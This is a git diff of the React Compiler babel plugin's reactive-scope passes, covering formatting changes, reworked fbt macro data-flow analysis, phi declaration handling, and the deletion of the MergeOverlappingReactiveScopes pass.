diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/FlattenScopesWithHooksOrUseHIR.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/FlattenScopesWithHooksOrUseHIR.ts
index d0c0ada10c46..103923a2e4d5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/FlattenScopesWithHooksOrUseHIR.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/FlattenScopesWithHooksOrUseHIR.ts
@@ -5,17 +5,16 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { CompilerError } from "..";
+import {CompilerError} from '..';
 import {
   BlockId,
   HIRFunction,
   LabelTerminal,
   PrunedScopeTerminal,
-  ReactiveScope,
   getHookKind,
   isUseOperator,
-} from "../HIR";
-import { retainWhere } from "../Utils/utils";
+} from '../HIR';
+import {retainWhere} from '../Utils/utils';
 
 /**
  * For simplicity the majority of compiler passes do not treat hooks specially. However, hooks are different
@@ -39,34 +38,33 @@ import { retainWhere } from "../Utils/utils";
  * to ensure the hook call does not inadvertently become conditional.
  */
 export function flattenScopesWithHooksOrUseHIR(fn: HIRFunction): void {
-  const activeScopes: Array<{ block: BlockId; scope: ReactiveScope }> = [];
+  const activeScopes: Array<{block: BlockId; fallthrough: BlockId}> = [];
   const prune: Array<BlockId> = [];
 
   for (const [, block] of fn.body.blocks) {
-    const firstId = block.instructions[0]?.id ?? block.terminal.id;
-    retainWhere(activeScopes, (current) => current.scope.range.end > firstId);
+    retainWhere(activeScopes, current => current.fallthrough !== block.id);
 
     for (const instr of block.instructions) {
-      const { value } = instr;
+      const {value} = instr;
       switch (value.kind) {
-        case "MethodCall":
-        case "CallExpression": {
+        case 'MethodCall':
+        case 'CallExpression': {
           const callee =
-            value.kind === "MethodCall" ? value.property : value.callee;
+            value.kind === 'MethodCall' ? value.property : value.callee;
           if (
             getHookKind(fn.env, callee.identifier) != null ||
             isUseOperator(callee.identifier)
           ) {
-            prune.push(...activeScopes.map((entry) => entry.block));
+            prune.push(...activeScopes.map(entry => entry.block));
             activeScopes.length = 0;
           }
         }
       }
     }
-    if (block.terminal.kind === "scope") {
+    if (block.terminal.kind === 'scope') {
       activeScopes.push({
         block: block.id,
-        scope: block.terminal.scope,
+        fallthrough: block.terminal.fallthrough,
       });
     }
   }
@@ -74,7 +72,7 @@ export function flattenScopesWithHooksOrUseHIR(fn: HIRFunction): void {
   for (const id of prune) {
     const block = fn.body.blocks.get(id)!;
     const terminal = block.terminal;
-    CompilerError.invariant(terminal.kind === "scope", {
+    CompilerError.invariant(terminal.kind === 'scope', {
       reason: `Expected block to have a scope terminal`,
       description: `Expected block bb${block.id} to end in a scope terminal`,
       loc: terminal.loc,
@@ -82,7 +80,7 @@ export function flattenScopesWithHooksOrUseHIR(fn: HIRFunction): void {
     const body = fn.body.blocks.get(terminal.block)!;
     if (
       body.instructions.length === 1 &&
-      body.terminal.kind === "goto" &&
+      body.terminal.kind === 'goto' &&
       body.terminal.block === terminal.fallthrough
     ) {
       /*
@@ -91,7 +89,7 @@ export function flattenScopesWithHooksOrUseHIR(fn: HIRFunction): void {
        * flattening
        */
       block.terminal = {
-        kind: "label",
+        kind: 'label',
         block: terminal.block,
         fallthrough: terminal.fallthrough,
         id: terminal.id,
@@ -101,7 +99,7 @@ export function flattenScopesWithHooksOrUseHIR(fn: HIRFunction): void {
     }
 
     block.terminal = {
-      kind: "pruned-scope",
+      kind: 'pruned-scope',
       block: terminal.block,
       fallthrough: terminal.fallthrough,
       id: terminal.id,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/InferReactiveScopeVariables.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/InferReactiveScopeVariables.ts
index 23a0a839ea4b..cbc973efa8d1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/InferReactiveScopeVariables.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/InferReactiveScopeVariables.ts
@@ -5,25 +5,27 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { CompilerError, SourceLocation } from "..";
-import { Environment } from "../HIR";
+import {CompilerError, SourceLocation} from '..';
+import {Environment} from '../HIR';
 import {
+  DeclarationId,
   GeneratedSource,
   HIRFunction,
   Identifier,
   Instruction,
+  InstructionId,
+  MutableRange,
   Place,
   ReactiveScope,
   makeInstructionId,
-} from "../HIR/HIR";
+} from '../HIR/HIR';
 import {
   doesPatternContainSpreadElement,
   eachInstructionOperand,
   eachPatternOperand,
-} from "../HIR/visitors";
-import DisjointSet from "../Utils/DisjointSet";
-import { logHIRFunction } from "../Utils/logger";
-import { assertExhaustive } from "../Utils/utils";
+} from '../HIR/visitors';
+import DisjointSet from '../Utils/DisjointSet';
+import {assertExhaustive} from '../Utils/utils';
 
 /*
  * Note: this is the 1st of 4 passes that determine how to break a function into discrete
@@ -114,11 +116,15 @@ export function inferReactiveScopeVariables(fn: HIRFunction): void {
       };
       scopes.set(groupIdentifier, scope);
     } else {
-      scope.range.start = makeInstructionId(
-        Math.min(scope.range.start, identifier.mutableRange.start)
-      );
+      if (scope.range.start === 0) {
+        scope.range.start = identifier.mutableRange.start;
+      } else if (identifier.mutableRange.start !== 0) {
+        scope.range.start = makeInstructionId(
+          Math.min(scope.range.start, identifier.mutableRange.start),
+        );
+      }
       scope.range.end = makeInstructionId(
-        Math.max(scope.range.end, identifier.mutableRange.end)
+        Math.max(scope.range.end, identifier.mutableRange.end),
       );
       scope.loc = mergeLocation(scope.loc, identifier.loc);
     }
@@ -132,12 +138,12 @@ export function inferReactiveScopeVariables(fn: HIRFunction): void {
       maxInstruction = makeInstructionId(Math.max(maxInstruction, instr.id));
     }
     maxInstruction = makeInstructionId(
-      Math.max(maxInstruction, block.terminal.id)
+      Math.max(maxInstruction, block.terminal.id),
     );
   }
 
   /*
-   * Validate that all scopes have properly intialized, valid mutable ranges
+   * Validate that all scopes have properly initialized, valid mutable ranges
    * within the span of instructions for this function, ie from 1 to 1 past
    * the last instruction id.
    */
@@ -149,13 +155,17 @@ export function inferReactiveScopeVariables(fn: HIRFunction): void {
       scope.range.end > maxInstruction + 1
     ) {
       // Make it easier to debug why the error occurred
-      logHIRFunction("InferReactiveScopeVariables (invalid scope)", fn);
+      fn.env.logger?.debugLogIRs?.({
+        kind: 'hir',
+        name: 'InferReactiveScopeVariables (invalid scope)',
+        value: fn,
+      });
       CompilerError.invariant(false, {
         reason: `Invalid mutable range for scope`,
-        loc: GeneratedSource,
         description: `Scope @${scope.id} has range [${scope.range.start}:${
           scope.range.end
         }] but the valid range is [1:${maxInstruction + 1}]`,
+        loc: GeneratedSource,
       });
     }
   }
@@ -168,11 +178,15 @@ function mergeLocation(l: SourceLocation, r: SourceLocation): SourceLocation {
     return l;
   } else {
     return {
+      filename: l.filename,
+      identifierName: l.identifierName,
       start: {
+        index: Math.min(l.start.index, r.start.index),
         line: Math.min(l.start.line, r.start.line),
         column: Math.min(l.start.column, r.start.column),
       },
       end: {
+        index: Math.max(l.end.index, r.end.index),
         line: Math.max(l.end.line, r.end.line),
         column: Math.max(l.end.column, r.end.column),
       },
@@ -181,81 +195,92 @@ function mergeLocation(l: SourceLocation, r: SourceLocation): SourceLocation {
 }
 
 // Is the operand mutable at this given instruction
-export function isMutable({ id }: Instruction, place: Place): boolean {
-  const range = place.identifier.mutableRange;
-  return id >= range.start && id < range.end;
+export function isMutable(instr: {id: InstructionId}, place: Place): boolean {
+  return inRange(instr, place.identifier.mutableRange);
 }
 
-export function mayAllocate(
-  env: Environment,
-  instruction: Instruction
+export function inRange(
+  {id}: {id: InstructionId},
+  range: MutableRange,
 ): boolean {
-  const { value } = instruction;
+  return id >= range.start && id < range.end;
+}
+
+function mayAllocate(_env: Environment, instruction: Instruction): boolean {
+  const {value} = instruction;
   switch (value.kind) {
-    case "Destructure": {
+    case 'Destructure': {
       return doesPatternContainSpreadElement(value.lvalue.pattern);
     }
-    case "PostfixUpdate":
-    case "PrefixUpdate":
-    case "Await":
-    case "DeclareLocal":
-    case "DeclareContext":
-    case "StoreLocal":
-    case "LoadGlobal":
-    case "MetaProperty":
-    case "TypeCastExpression":
-    case "LoadLocal":
-    case "LoadContext":
-    case "StoreContext":
-    case "PropertyDelete":
-    case "ComputedLoad":
-    case "ComputedDelete":
-    case "JSXText":
-    case "TemplateLiteral":
-    case "Primitive":
-    case "GetIterator":
-    case "IteratorNext":
-    case "NextPropertyOf":
-    case "Debugger":
-    case "StartMemoize":
-    case "FinishMemoize":
-    case "UnaryExpression":
-    case "BinaryExpression":
-    case "PropertyLoad":
-    case "StoreGlobal": {
+    case 'PostfixUpdate':
+    case 'PrefixUpdate':
+    case 'Await':
+    case 'DeclareLocal':
+    case 'DeclareContext':
+    case 'StoreLocal':
+    case 'LoadGlobal':
+    case 'MetaProperty':
+    case 'TypeCastExpression':
+    case 'LoadLocal':
+    case 'LoadContext':
+    case 'StoreContext':
+    case 'PropertyDelete':
+    case 'ComputedLoad':
+    case 'ComputedDelete':
+    case 'JSXText':
+    case 'TemplateLiteral':
+    case 'Primitive':
+    case 'GetIterator':
+    case 'IteratorNext':
+    case 'NextPropertyOf':
+    case 'Debugger':
+    case 'StartMemoize':
+    case 'FinishMemoize':
+    case 'UnaryExpression':
+    case 'BinaryExpression':
+    case 'PropertyLoad':
+    case 'StoreGlobal': {
       return false;
     }
-    case "CallExpression":
-    case "MethodCall": {
-      return instruction.lvalue.identifier.type.kind !== "Primitive";
+    case 'TaggedTemplateExpression':
+    case 'CallExpression':
+    case 'MethodCall': {
+      return instruction.lvalue.identifier.type.kind !== 'Primitive';
     }
-    case "RegExpLiteral":
-    case "PropertyStore":
-    case "ComputedStore":
-    case "ArrayExpression":
-    case "JsxExpression":
-    case "JsxFragment":
-    case "NewExpression":
-    case "ObjectExpression":
-    case "UnsupportedNode":
-    case "ObjectMethod":
-    case "FunctionExpression":
-    case "TaggedTemplateExpression": {
+    case 'RegExpLiteral':
+    case 'PropertyStore':
+    case 'ComputedStore':
+    case 'ArrayExpression':
+    case 'JsxExpression':
+    case 'JsxFragment':
+    case 'NewExpression':
+    case 'ObjectExpression':
+    case 'UnsupportedNode':
+    case 'ObjectMethod':
+    case 'FunctionExpression': {
       return true;
     }
     default: {
       assertExhaustive(
         value,
-        `Unexpected value kind \`${(value as any).kind}\``
+        `Unexpected value kind \`${(value as any).kind}\``,
       );
     }
   }
 }
 
 export function findDisjointMutableValues(
-  fn: HIRFunction
+  fn: HIRFunction,
 ): DisjointSet<Identifier> {
   const scopeIdentifiers = new DisjointSet<Identifier>();
+
+  const declarations = new Map<DeclarationId, Identifier>();
+  function declareIdentifier(lvalue: Place): void {
+    if (!declarations.has(lvalue.identifier.declarationId)) {
+      declarations.set(lvalue.identifier.declarationId, lvalue.identifier);
+    }
+  }
+
   for (const [_, block] of fn.body.blocks) {
     /*
      * If a phi is mutated after creation, then we need to alias all of its operands such that they
@@ -263,17 +288,25 @@ export function findDisjointMutableValues(
      */
     for (const phi of block.phis) {
       if (
-        // The phi was reset because it was not mutated after creation
-        phi.id.mutableRange.start + 1 !== phi.id.mutableRange.end &&
-        phi.id.mutableRange.end >
+        phi.place.identifier.mutableRange.start + 1 !==
+          phi.place.identifier.mutableRange.end &&
+        phi.place.identifier.mutableRange.end >
           (block.instructions.at(0)?.id ?? block.terminal.id)
       ) {
-        for (const [, phiId] of phi.operands) {
-          scopeIdentifiers.union([phi.id, phiId]);
+        const operands = [phi.place.identifier];
+        const declaration = declarations.get(
+          phi.place.identifier.declarationId,
+        );
+        if (declaration !== undefined) {
+          operands.push(declaration);
+        }
+        for (const [_, phiId] of phi.operands) {
+          operands.push(phiId.identifier);
         }
+        scopeIdentifiers.union(operands);
       } else if (fn.env.config.enableForest) {
         for (const [, phiId] of phi.operands) {
-          scopeIdentifiers.union([phi.id, phiId]);
+          scopeIdentifiers.union([phi.place.identifier, phiId.identifier]);
         }
       }
     }
@@ -285,9 +318,15 @@ export function findDisjointMutableValues(
         operands.push(instr.lvalue!.identifier);
       }
       if (
-        instr.value.kind === "StoreLocal" ||
-        instr.value.kind === "StoreContext"
+        instr.value.kind === 'DeclareLocal' ||
+        instr.value.kind === 'DeclareContext'
+      ) {
+        declareIdentifier(instr.value.lvalue.place);
+      } else if (
+        instr.value.kind === 'StoreLocal' ||
+        instr.value.kind === 'StoreContext'
       ) {
+        declareIdentifier(instr.value.lvalue.place);
         if (
           instr.value.lvalue.place.identifier.mutableRange.end >
           instr.value.lvalue.place.identifier.mutableRange.start + 1
@@ -300,8 +339,9 @@ export function findDisjointMutableValues(
         ) {
           operands.push(instr.value.value.identifier);
         }
-      } else if (instr.value.kind === "Destructure") {
+      } else if (instr.value.kind === 'Destructure') {
         for (const place of eachPatternOperand(instr.value.lvalue.pattern)) {
+          declareIdentifier(place);
           if (
             place.identifier.mutableRange.end >
             place.identifier.mutableRange.start + 1
@@ -315,7 +355,7 @@ export function findDisjointMutableValues(
         ) {
           operands.push(instr.value.value.identifier);
         }
-      } else if (instr.value.kind === "MethodCall") {
+      } else if (instr.value.kind === 'MethodCall') {
         for (const operand of eachInstructionOperand(instr)) {
           if (
             isMutable(instr, operand) &&
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/MemoizeFbtAndMacroOperandsInSameScope.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/MemoizeFbtAndMacroOperandsInSameScope.ts
index 91121cd9bfba..0ce05a823e9b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/MemoizeFbtAndMacroOperandsInSameScope.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/MemoizeFbtAndMacroOperandsInSameScope.ts
@@ -8,11 +8,41 @@
 import {
   HIRFunction,
   IdentifierId,
+  InstructionValue,
   makeInstructionId,
+  MutableRange,
   Place,
-  ReactiveValue,
-} from "../HIR";
-import { eachReactiveValueOperand } from "./visitors";
+  ReactiveScope,
+} from '../HIR';
+import {Macro} from '../HIR/Environment';
+import {eachInstructionValueOperand} from '../HIR/visitors';
+
+/**
+ * Whether a macro requires its arguments to be transitively inlined (eg fbt)
+ * or just avoid having the top-level values be converted to variables (eg fbt.param)
+ */
+enum InlineLevel {
+  Transitive = 'Transitive',
+  Shallow = 'Shallow',
+}
+type MacroDefinition = {
+  level: InlineLevel;
+  properties: Map<string, MacroDefinition> | null;
+};
+
+const SHALLOW_MACRO: MacroDefinition = {
+  level: InlineLevel.Shallow,
+  properties: null,
+};
+const TRANSITIVE_MACRO: MacroDefinition = {
+  level: InlineLevel.Transitive,
+  properties: null,
+};
+const FBT_MACRO: MacroDefinition = {
+  level: InlineLevel.Transitive,
+  properties: new Map([['*', SHALLOW_MACRO]]),
+};
+FBT_MACRO.properties!.set('enum', FBT_MACRO);
 
 /**
  * This pass supports the `fbt` translation system (https://facebook.github.io/fbt/)
@@ -37,177 +67,238 @@ import { eachReactiveValueOperand } from "./visitors";
  * ## User-defined macro-like function
  *
  * Users can also specify their own functions to be treated similarly to fbt via the
- * `customMacros` environment configuration.
+ * `customMacros` environment configuration. By default, user-supplied custom macros
+ * have their arguments transitively inlined.
  */
-export function memoizeFbtAndMacroOperandsInSameScope(fn: HIRFunction): void {
-  const fbtMacroTags = new Set([
-    ...FBT_TAGS,
-    ...(fn.env.config.customMacros ?? []),
+export function memoizeFbtAndMacroOperandsInSameScope(
+  fn: HIRFunction,
+): Set<IdentifierId> {
+  const macroKinds = new Map<Macro, MacroDefinition>([
+    ...Array.from(FBT_TAGS.entries()),
+    ...(fn.env.config.customMacros ?? []).map(
+      name => [name, TRANSITIVE_MACRO] as [Macro, MacroDefinition],
+    ),
   ]);
-  const fbtValues: Set<IdentifierId> = new Set();
-  while (true) {
-    let size = fbtValues.size;
-    visit(fn, fbtMacroTags, fbtValues);
-    if (size === fbtValues.size) {
-      break;
-    }
-  }
+  /**
+   * Forward data-flow analysis to identify all macro tags, including
+   * things like `fbt.foo.bar(...)`
+   */
+  const macroTags = populateMacroTags(fn, macroKinds);
+
+  /**
+   * Reverse data-flow analysis to merge arguments to macro *invocations*
+   * based on the kind of the macro
+   */
+  const macroValues = mergeMacroArguments(fn, macroTags, macroKinds);
+
+  return macroValues;
 }
 
-export const FBT_TAGS: Set<string> = new Set([
-  "fbt",
-  "fbt:param",
-  "fbs",
-  "fbs:param",
+const FBT_TAGS: Map<string, MacroDefinition> = new Map([
+  ['fbt', FBT_MACRO],
+  ['fbt:param', SHALLOW_MACRO],
+  ['fbt:enum', FBT_MACRO],
+  ['fbt:plural', SHALLOW_MACRO],
+  ['fbs', FBT_MACRO],
+  ['fbs:param', SHALLOW_MACRO],
+  ['fbs:enum', FBT_MACRO],
+  ['fbs:plural', SHALLOW_MACRO],
 ]);
 export const SINGLE_CHILD_FBT_TAGS: Set<string> = new Set([
-  "fbt:param",
-  "fbs:param",
+  'fbt:param',
+  'fbs:param',
 ]);
 
-function visit(
+function populateMacroTags(
   fn: HIRFunction,
-  fbtMacroTags: Set<string>,
-  fbtValues: Set<IdentifierId>
-): void {
-  for (const [, block] of fn.body.blocks) {
-    for (const instruction of block.instructions) {
-      const { lvalue, value } = instruction;
-      if (lvalue === null) {
-        continue;
-      }
-      if (
-        value.kind === "Primitive" &&
-        typeof value.value === "string" &&
-        fbtMacroTags.has(value.value)
-      ) {
-        /*
-         * We don't distinguish between tag names and strings, so record
-         * all `fbt` string literals in case they are used as a jsx tag.
-         */
-        fbtValues.add(lvalue.identifier.id);
-      } else if (
-        value.kind === "LoadGlobal" &&
-        fbtMacroTags.has(value.binding.name)
-      ) {
-        // Record references to `fbt` as a global
-        fbtValues.add(lvalue.identifier.id);
-      } else if (isFbtCallExpression(fbtValues, value)) {
-        const fbtScope = lvalue.identifier.scope;
-        if (fbtScope === null) {
-          continue;
+  macroKinds: Map<Macro, MacroDefinition>,
+): Map<IdentifierId, MacroDefinition> {
+  const macroTags = new Map<IdentifierId, MacroDefinition>();
+  for (const block of fn.body.blocks.values()) {
+    for (const instr of block.instructions) {
+      const {lvalue, value} = instr;
+      switch (value.kind) {
+        case 'Primitive': {
+          if (typeof value.value === 'string') {
+            const macroDefinition = macroKinds.get(value.value);
+            if (macroDefinition != null) {
+              /*
+               * We don't distinguish between tag names and strings, so record
+               * all `fbt` string literals in case they are used as a jsx tag.
+               */
+              macroTags.set(lvalue.identifier.id, macroDefinition);
+            }
+          }
+          break;
         }
-
-        /*
-         * if the JSX element's tag was `fbt`, mark all its operands
-         * to ensure that they end up in the same scope as the jsx element
-         * itself.
-         */
-        for (const operand of eachReactiveValueOperand(value)) {
-          operand.identifier.scope = fbtScope;
-
-          // Expand the jsx element's range to account for its operands
-          fbtScope.range.start = makeInstructionId(
-            Math.min(
-              fbtScope.range.start,
-              operand.identifier.mutableRange.start
-            )
-          );
-          fbtValues.add(operand.identifier.id);
+        case 'LoadGlobal': {
+          let macroDefinition = macroKinds.get(value.binding.name);
+          if (macroDefinition != null) {
+            macroTags.set(lvalue.identifier.id, macroDefinition);
+          }
+          break;
         }
-      } else if (
-        isFbtJsxExpression(fbtMacroTags, fbtValues, value) ||
-        isFbtJsxChild(fbtValues, lvalue, value)
-      ) {
-        const fbtScope = lvalue.identifier.scope;
-        if (fbtScope === null) {
-          continue;
+        case 'PropertyLoad': {
+          if (typeof value.property === 'string') {
+            const macroDefinition = macroTags.get(value.object.identifier.id);
+            if (macroDefinition != null) {
+              const propertyDefinition =
+                macroDefinition.properties != null
+                  ? (macroDefinition.properties.get(value.property) ??
+                    macroDefinition.properties.get('*'))
+                  : null;
+              const propertyMacro = propertyDefinition ?? macroDefinition;
+              macroTags.set(lvalue.identifier.id, propertyMacro);
+            }
+          }
+          break;
         }
+      }
+    }
+  }
+  return macroTags;
+}
 
-        /*
-         * if the JSX element's tag was `fbt`, mark all its operands
-         * to ensure that they end up in the same scope as the jsx element
-         * itself.
-         */
-        for (const operand of eachReactiveValueOperand(value)) {
-          operand.identifier.scope = fbtScope;
-
-          // Expand the jsx element's range to account for its operands
-          fbtScope.range.start = makeInstructionId(
-            Math.min(
-              fbtScope.range.start,
-              operand.identifier.mutableRange.start
-            )
-          );
-
-          /*
-           * NOTE: we add the operands as fbt values so that they are also
-           * grouped with this expression
-           */
-          fbtValues.add(operand.identifier.id);
+function mergeMacroArguments(
+  fn: HIRFunction,
+  macroTags: Map<IdentifierId, MacroDefinition>,
+  macroKinds: Map<Macro, MacroDefinition>,
+): Set<IdentifierId> {
+  const macroValues = new Set<IdentifierId>(macroTags.keys());
+  for (const block of Array.from(fn.body.blocks.values()).reverse()) {
+    for (let i = block.instructions.length - 1; i >= 0; i--) {
+      const instr = block.instructions[i]!;
+      const {lvalue, value} = instr;
+      switch (value.kind) {
+        case 'DeclareContext':
+        case 'DeclareLocal':
+        case 'Destructure':
+        case 'LoadContext':
+        case 'LoadLocal':
+        case 'PostfixUpdate':
+        case 'PrefixUpdate':
+        case 'StoreContext':
+        case 'StoreLocal': {
+          // Instructions that never need to be merged
+          break;
         }
-      } else if (fbtValues.has(lvalue.identifier.id)) {
-        const fbtScope = lvalue.identifier.scope;
-        if (fbtScope === null) {
-          return;
+        case 'CallExpression':
+        case 'MethodCall': {
+          const scope = lvalue.identifier.scope;
+          if (scope == null) {
+            continue;
+          }
+          const callee =
+            value.kind === 'CallExpression' ? value.callee : value.property;
+          const macroDefinition =
+            macroTags.get(callee.identifier.id) ??
+            macroTags.get(lvalue.identifier.id);
+          if (macroDefinition != null) {
+            visitOperands(
+              macroDefinition,
+              scope,
+              lvalue,
+              value,
+              macroValues,
+              macroTags,
+            );
+          }
+          break;
         }
-
-        for (const operand of eachReactiveValueOperand(value)) {
-          if (
-            operand.identifier.name !== null &&
-            operand.identifier.name.kind === "named"
-          ) {
-            /*
-             * named identifiers were already locals, we only have to force temporaries
-             * into the same scope
-             */
+        case 'JsxExpression': {
+          const scope = lvalue.identifier.scope;
+          if (scope == null) {
             continue;
           }
-          operand.identifier.scope = fbtScope;
-
-          // Expand the jsx element's range to account for its operands
-          fbtScope.range.start = makeInstructionId(
-            Math.min(
-              fbtScope.range.start,
-              operand.identifier.mutableRange.start
-            )
-          );
+          let macroDefinition;
+          if (value.tag.kind === 'Identifier') {
+            macroDefinition = macroTags.get(value.tag.identifier.id);
+          } else {
+            macroDefinition = macroKinds.get(value.tag.name);
+          }
+          macroDefinition ??= macroTags.get(lvalue.identifier.id);
+          if (macroDefinition != null) {
+            visitOperands(
+              macroDefinition,
+              scope,
+              lvalue,
+              value,
+              macroValues,
+              macroTags,
+            );
+          }
+          break;
+        }
+        default: {
+          const scope = lvalue.identifier.scope;
+          if (scope == null) {
+            continue;
+          }
+          const macroDefinition = macroTags.get(lvalue.identifier.id);
+          if (macroDefinition != null) {
+            visitOperands(
+              macroDefinition,
+              scope,
+              lvalue,
+              value,
+              macroValues,
+              macroTags,
+            );
+          }
+          break;
         }
       }
     }
+    for (const phi of block.phis) {
+      const scope = phi.place.identifier.scope;
+      if (scope == null) {
+        continue;
+      }
+      const macroDefinition = macroTags.get(phi.place.identifier.id);
+      if (
+        macroDefinition == null ||
+        macroDefinition.level === InlineLevel.Shallow
+      ) {
+        continue;
+      }
+      macroValues.add(phi.place.identifier.id);
+      for (const operand of phi.operands.values()) {
+        operand.identifier.scope = scope;
+        expandFbtScopeRange(scope.range, operand.identifier.mutableRange);
+        macroTags.set(operand.identifier.id, macroDefinition);
+        macroValues.add(operand.identifier.id);
+      }
+    }
   }
+  return macroValues;
 }
 
-function isFbtCallExpression(
-  fbtValues: Set<IdentifierId>,
-  value: ReactiveValue
-): boolean {
-  return (
-    value.kind === "CallExpression" && fbtValues.has(value.callee.identifier.id)
-  );
-}
-
-function isFbtJsxExpression(
-  fbtMacroTags: Set<string>,
-  fbtValues: Set<IdentifierId>,
-  value: ReactiveValue
-): boolean {
-  return (
-    value.kind === "JsxExpression" &&
-    ((value.tag.kind === "Identifier" &&
-      fbtValues.has(value.tag.identifier.id)) ||
-      (value.tag.kind === "BuiltinTag" && fbtMacroTags.has(value.tag.name)))
-  );
+function expandFbtScopeRange(
+  fbtRange: MutableRange,
+  extendWith: MutableRange,
+): void {
+  if (extendWith.start !== 0) {
+    fbtRange.start = makeInstructionId(
+      Math.min(fbtRange.start, extendWith.start),
+    );
+  }
 }
 
-function isFbtJsxChild(
-  fbtValues: Set<IdentifierId>,
-  lvalue: Place | null,
-  value: ReactiveValue
-): boolean {
-  return (
-    (value.kind === "JsxExpression" || value.kind === "JsxFragment") &&
-    lvalue !== null &&
-    fbtValues.has(lvalue.identifier.id)
-  );
+function visitOperands(
+  macroDefinition: MacroDefinition,
+  scope: ReactiveScope,
+  lvalue: Place,
+  value: InstructionValue,
+  macroValues: Set<IdentifierId>,
+  macroTags: Map<IdentifierId, MacroDefinition>,
+): void {
+  macroValues.add(lvalue.identifier.id);
+  for (const operand of eachInstructionValueOperand(value)) {
+    if (macroDefinition.level === InlineLevel.Transitive) {
+      operand.identifier.scope = scope;
+      expandFbtScopeRange(scope.range, operand.identifier.mutableRange);
+      macroTags.set(operand.identifier.id, macroDefinition);
+    }
+    macroValues.add(operand.identifier.id);
+  }
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/MergeOverlappingReactiveScopes.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/MergeOverlappingReactiveScopes.ts
deleted file mode 100644
index 44608b222f86..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/MergeOverlappingReactiveScopes.ts
+++ /dev/null
@@ -1,281 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-import {
-  InstructionId,
-  makeInstructionId,
-  Place,
-  ReactiveBlock,
-  ReactiveFunction,
-  ReactiveInstruction,
-  ReactiveScope,
-  ScopeId,
-} from "../HIR";
-import DisjointSet from "../Utils/DisjointSet";
-import { retainWhere } from "../Utils/utils";
-import { getPlaceScope } from "./BuildReactiveBlocks";
-import { ReactiveFunctionVisitor, visitReactiveFunction } from "./visitors";
-
-/*
- * Note: this is the 3rd of 4 passes that determine how to break a function into discrete
- * reactive scopes (independently memoizeable units of code):
- * 1. InferReactiveScopeVariables (on HIR) determines operands that mutate together and assigns
- *     them a unique reactive scope.
- * 2. AlignReactiveScopesToBlockScopes (on ReactiveFunction) aligns reactive scopes
- *     to block scopes.
- * 3. MergeOverlappingReactiveScopes (this pass, on ReactiveFunction) ensures that reactive
- *     scopes do not overlap, merging any such scopes.
- * 4. BuildReactiveBlocks (on ReactiveFunction) groups the statements for each scope into
- *     a ReactiveScopeBlock.
- *
- * Previous passes may leave "overlapping" scopes, ie where one or more instructions are within
- * the mutable range of multiple reactive scopes. We prefer to avoid executing instructions twice
- * for performance reasons (side effects are less of a concern bc components are required to be
- * idempotent), so we cannot simply repeat the instruction once for each scope. Instead, the only
- * option is to combine the two scopes into one. This is an area where an eventual Forget IDE
- * could provide real-time feedback to the developer that two computations are accidentally merged.
- *
- * ## Detailed Walkthrough
- *
- * Two scopes overlap if there is one or more instruction that is inside the range
- * of both scopes. In general, overlapping scopes are merged togther. The only
- * exception to this is when one scope *shadows* another scope. For example:
- *
- * ```javascript
- * function foo(cond, a) {
- *                                  ⌵ scope for x
- *    let x = [];                   ⌝
- *    if (cond) {                   ⎮
- *                    ⌵ scope for y ⎮
- *      let y = [];   ⌝             ⎮
- *      if (b) {      ⎮             ⎮
- *        y.push(b);  ⌟             ⎮
- *      }                           ⎮
- *      x.push(<div>{y}</div>);     ⎮
- *    }                             ⌟
- * }
- * ```
- *
- * In this example the two scopes overlap, but mutation of the two scopes is not
- * interleaved. Specifically within the y scope there are no instructions that
- * modify any other scope: the inner scope "shadows" the outer one. This category
- * of overlap does *NOT* merge the scopes together.
- *
- * The implementation is inspired by the Rust notion of "stacked borrows". We traverse
- * the control-flow graph in tree form, at each point keeping track of which scopes are
- * active. So initially we see
- *
- * `let x = []`
- * active scopes: [x]
- *
- * and mark the x scope as active.
- *
- * Then we later encounter
- *
- * `let y = [];`
- * active scopes: [x, y]
- *
- * Here we first check to see if 'y' is already in the list of active scopes. It isn't,
- * so we push it to the stop of the stack.
- *
- * Then
- *
- * `y.push(b)`
- * active scopes: [x, y]
- *
- * Mutates y, so we check if y is the top of the stack. It is, so no merging must occur.
- *
- * If instead we saw eg
- *
- * `x.push(b)`
- * active scopes: [x, y]
- *
- * Then we would see that 'x' is active, but that it is shadowed. The two scopes would have
- * to be merged.
- */
-export function mergeOverlappingReactiveScopes(fn: ReactiveFunction): void {
-  const context = new Context();
-  visitReactiveFunction(fn, new Visitor(), context);
-  context.complete();
-}
-
-class Visitor extends ReactiveFunctionVisitor<Context> {
-  override visitID(id: InstructionId, state: Context): void {
-    state.visitId(id);
-  }
-  override visitPlace(id: InstructionId, place: Place, state: Context): void {
-    state.visitPlace(id, place);
-  }
-  override visitLValue(id: InstructionId, lvalue: Place, state: Context): void {
-    state.visitPlace(id, lvalue);
-  }
-  override visitBlock(block: ReactiveBlock, state: Context): void {
-    state.enter(() => {
-      this.traverseBlock(block, state);
-    });
-  }
-  override visitInstruction(
-    instruction: ReactiveInstruction,
-    state: Context
-  ): void {
-    if (
-      instruction.value.kind === "ConditionalExpression" ||
-      instruction.value.kind === "LogicalExpression" ||
-      instruction.value.kind === "OptionalExpression"
-    ) {
-      state.enter(() => {
-        super.visitInstruction(instruction, state);
-      });
-    } else {
-      super.visitInstruction(instruction, state);
-    }
-  }
-}
-
-class BlockScope {
-  seen: Set<ScopeId> = new Set();
